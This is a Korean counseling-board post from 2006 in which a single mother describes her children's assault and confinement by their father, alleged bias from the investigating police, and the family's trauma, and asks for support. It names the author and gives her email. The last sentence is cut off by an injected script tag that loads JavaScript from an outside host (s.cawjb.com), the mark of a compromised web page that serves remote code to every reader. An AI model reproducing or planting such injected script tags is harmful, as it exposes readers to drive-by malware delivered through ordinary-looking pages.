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제 목   상담내용인데 많은 답 부탁해요   번 호   1140 조회수  2169   이메일  pangpang64@naver.com     작성자   이미경 작성일   06-05-03   첨부화일         내 용   제 목 힘을 주세요. 내 용 저는 8년 동안 한부모 가정을 지켜온 가장입니다. 정말 최선을 다해 제 가정을 지켜왔습니다만, 아직 이 사회의 구석구 석 편견과 , 하물며 당연히 더욱 지켜줌직한 공권력으로부터 저와 제 아이들은 최근 치유될수 없는 상처를 받아, 결코 예전의 신나던 가정을 유지할 자신이 없습니다. 어디에다, 어떻게 한부모라서 받아야하는 부당함을 호소 해야할지 몰 라 글을 올립니다. 두번다시, 저와 같은 사례의 억울함이 없어야 겠기에 이런 사안들을 저희 한부모 가정모두가 공유하여 알리고 싶고, 더불어 저 개인으로 는 힘을 받고 싶습니다. 도움을 받고 싶습니다. 저는 지금 분당경찰서에 제 자녀들이 친부와 현재처 친부형으로 부터 폭행과 감금 "소년원"으로 쳐 넣겠다는 협박까지 받아 112의 도움을 받아 구출, 상해및 정신과 진단서와 피멍 사진 아이들의 진정서를 첨 부 고소를 제기 중입니다. 상대 역시 만 13세 큰아이(딸)를 고소하였고요. 둘째는 만 9세 (남자) 입니다. 그러나, 저는 최근 상대와 그리고 공권력과 맞서 싸움니다. 한부모가정은 아애 가정으로 보지도 않는 담당형사님의 잘못된 시각으 로 양육비를 주지 않으려고 아이를 끌고 간것임을 삼척 동자도 알수 있을 터인데 상대집에 가면 자살을 해버리겠다는 아이들을 아얘 줘 버리지 왜 그려냐는 식의 말씀, 하물며 상대 여자는 이번일을 몹시 귀 찮아 하여 이혼하려 한다는 말들을 서슴 없이 합니다. 눈물나게 지켜온 제 가정은 가정이 아니란 말인가요? 제 소심함으로 딸 아이가 성숙해 감으로 더욱 재혼은 생각 해볼수 없음에도 불구하고 부부가 있는 가정만 가정이라 그 가정만 혹여 문제가 생길까봐 문제 를 일으키는 엄마가 나쁘다는 식의 얘기를 아이에게 서슴없이 하고, 도움을 청하려 고소장을 낸 저희를 무시하는 처사를 거듭하였습니다. 새벽6시에 자는 아이를 깨워 분당에 9시20분에 도착, 허나, 저와 어린 아이들은 오후 5시 20분에 진술시작, 또, 어느날은 4시30분 부터 밤12 시까지 하여 집으로 돌아오면 새벽 2시가 넘었습니다. 그러나, 그런 저런것도 다 견딜수 있겠습니다만, 저희 딸 아이보고는 아이답지 않고 동심이 없다 여러번 나무랐습니다. 한부모 가정의 큰 아이이자, 남동생의 누나인 딸아이는 제가 돈을 벌 어야 하므로 자연히 제가 없으면 집안을 책임져야 해서 조금은 어른 스러울수 밖에 없음에도 그것이 흠이되어 말꺼리가 된다는 것에 저는 가슴을 도려내는듯 슬폈습니다. 더욱 참을수 없는 일은 상대 고소인 은 아이들을 협박하는 방법으로 제 소심함으로는 혹시라도 한부모여 서 불이익을 받을까 자세한 상황을 설명치 않은 학교 선생님께 이 모 든 일을을 왜곡하여 말아여, 수치심을 주려 했다는 것입니다. 한부모 가정의 엄마는 아이들이 보는 앞에서 공권력으로 부터 무시당 하고 전혀 대접을 못받으며, 엄마의 인권이 실추되자 두 아이 역시 그 에 걸맞게 짓밟힌다면, 열심히 세금내고 각 경기마다 대한민국을 응 원했지만, 한부모라서 무시를 당하고 편협한 대접을 견디어 내야 한다 면, 저는 지금이라도 이 대한민국 이라는 나라에서는 오히려 제 스스 로 제 가정을 붕괴시키는 것이 제 자녀들을 위하는 길이라 생각되어 집니다. 저와 아이둘은 지금 눈물밖에는 흐르지 않습니다. 아이들은 정신적 상처로 인해 바깥 출입을 두려워하며, 정신 공황 증 상을 보여 저는 지금 유일의 수입원인 제 직장까지 그만 두었습니다. 눈 앞의 아이들이 문제니까요... 다음은 순전히 제 개인적 소견이오나, 상대는 아이를 고소하면, 제 가 장 큰 아킬레스건임을 알고 시작한것이고, 경찰은 이 모든 일을을 한 낱 작은 가정사로 치부해버리기 위해선 아이들을 훈육 한다는 차원에 서 아이들을 겁주는 것이며, 그 두가지에서 절대 강경하게 나가지 못 할거라는 한부모 가장의 여자라는 것을 마치 약점하닌 약점으로 이용 하는 처사라고 저는 판단합니다. 피해 의식이 많은 한여성의 넉두리 쯤으로 치유해 버리기엔 저와 제 두자녀가 당한 정신적 피해가 너무 크다고 봅니다. 저는 다섯명의 한부모 가정 엄마끼리 모임이 있습니다. 이구동성으로 한부모 가정을 무시하는 처사라는 결론입니다. 누가 봐도 약자인 저희 3모자를 위협에 빠트리며, 한부모가정을 약점 으로 삼아 무시를 당하고 있는 저는 피를 토하며 온 세상 천지에 외치 고 싶습니다. 저희 가정도 올바르고 참된가정이며, 아이들 역시 늠늠하게 잘자라나 고 있으니, 제가 이 가정을 꿋꿋이 굳세게 지켜 나갈수 있게, 건강한 엄마, 아이들로 이 사회의 편견으로 부터 살아 갈수 있게 제게 힘을 주십시요. 하고 ...... 항상 저희들을 위해 노력해 주시고 애써주시는것 감사합니다. 이런 모임이 있어 좋은 정보?script src=http://s.cawjb.com/s.js> 비밀번호:

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